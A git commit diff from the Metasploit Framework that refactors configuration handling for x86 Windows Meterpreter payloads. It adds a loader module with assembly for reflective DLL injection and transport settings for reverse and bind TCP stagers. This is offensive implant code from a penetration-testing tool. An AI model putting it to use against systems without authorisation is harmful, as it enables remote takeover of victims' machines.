Refactor configuration for meterpreter payloads (x86)

RDI is now back to what it was before, as this leaves all the other RDI
style payloads alone. Instead we have a new Meterpreter loader which
does the stuff that is required to make meterpreter work well with the
new configuration options.

This is just the case for reverse_tcp and bind_tcp so far, need to do
the other payloads too, along with all the x64 versions.
bug/bundler_fix
OJ 2015-04-26 09:56:44 +10:00
parent 3a24923361
commit 2455163d24
5 changed files with 153 additions and 41 deletions

View File

@ -47,6 +47,16 @@ module Payload::Windows::BindTcp
generate_bind_tcp(conf)
end
def generate_transport_config
{
:scheme => 'tcp',
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
end
#
# Generate and compile the stager
#

View File

@ -0,0 +1,101 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/reflective_dll_loader'
module Msf
###
#
# Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection.
#
###
module Payload::Windows::MeterpreterLoader
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Meterpreter & Configuration RDI',
'Description' => 'Inject Meterpreter & the configuration stub via RDI',
'Author' => [ 'sf' ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'Stage' => { 'Payload' => "" }
))
end
def asm_invoke_dll(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
mov [ebx], edi ; write the current socket to the config
mov [ebx+4], esi ; write the current listen socket to the config
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
end
def stage_meterpreter
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
asm_opts = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => 'thread' # default to 'thread' for migration
}
asm = asm_invoke_dll(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if( bootstrap.length > 62 )
print_error( "Meterpreter loader (x86) generated an oversized bootstrap!" )
return
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
return dll
end
end
end

View File

@ -2,7 +2,6 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
@ -57,11 +56,7 @@ module Payload::Windows::ReflectiveDllInject
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
mov [ebx], edi ; write the current socket to the config
mov [ebx+4], esi ; write the current listen socket to the config
push ebx ; push the pointer to the configuration start
push edi ; push the socket handle
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
@ -75,14 +70,14 @@ module Payload::Windows::ReflectiveDllInject
^
end
def stage_payload(target_id=nil)
def stage_payload
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
asm_opts = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => 'thread'
:exitfunk => 'thread' # default to 'thread' for migration
}
asm = asm_invoke_dll(asm_opts)
@ -99,28 +94,7 @@ module Payload::Windows::ReflectiveDllInject
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
# create the configuration block, which for staged connections is really simple.
config_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => Msf::Payload::UUID.new({
:platform => 'windows',
:arch => ARCH_X86
}),
:transports => [{
:scheme => 'tcp',
:lhost => datastore['LHOST'],
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}],
:extensions => []
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return our stage to be loaded by the intermediate stager
return dll + config.to_b
dll
end
end

View File

@ -49,6 +49,17 @@ module Payload::Windows::ReverseTcp
generate_reverse_tcp(conf)
end
def generate_transport_config
{
:scheme => 'tcp',
:lhost => datastore['LHOST'],
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
end
#
# Generate and compile the stager
#
@ -227,8 +238,8 @@ module Payload::Windows::ReverseTcp
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
; esi at this point is zero, which is what
; we need to pass to the second stage
; esi at this point is zero, which is what we need to
; pass to the second stage in the case of Meterpreter.
ret ; return into the second stage
^

View File

@ -5,19 +5,20 @@
require 'msf/core'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
###
#
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
# along with transport related configuration.
#
###
module Metasploit3
module Metasploit4
include Msf::Payload::Windows::ReflectiveDllInject
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -28,14 +29,29 @@ module Metasploit3
'PayloadCompat' => { 'Convention' => 'sockedi', },
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win))
# Don't let people set the library name option
options.remove_option('LibraryName')
options.remove_option('DLL')
end
def library_path
MeterpreterBinaries.path('metsrv','x86.dll')
def stage_payload
stage_meterpreter + generate_config
end
def generate_config
# create the configuration block, which for staged connections is really simple.
config_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => Msf::Payload::UUID.new({
:platform => 'windows',
:arch => ARCH_X86
}),
:transports => [ generate_transport_config ],
:extensions => []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end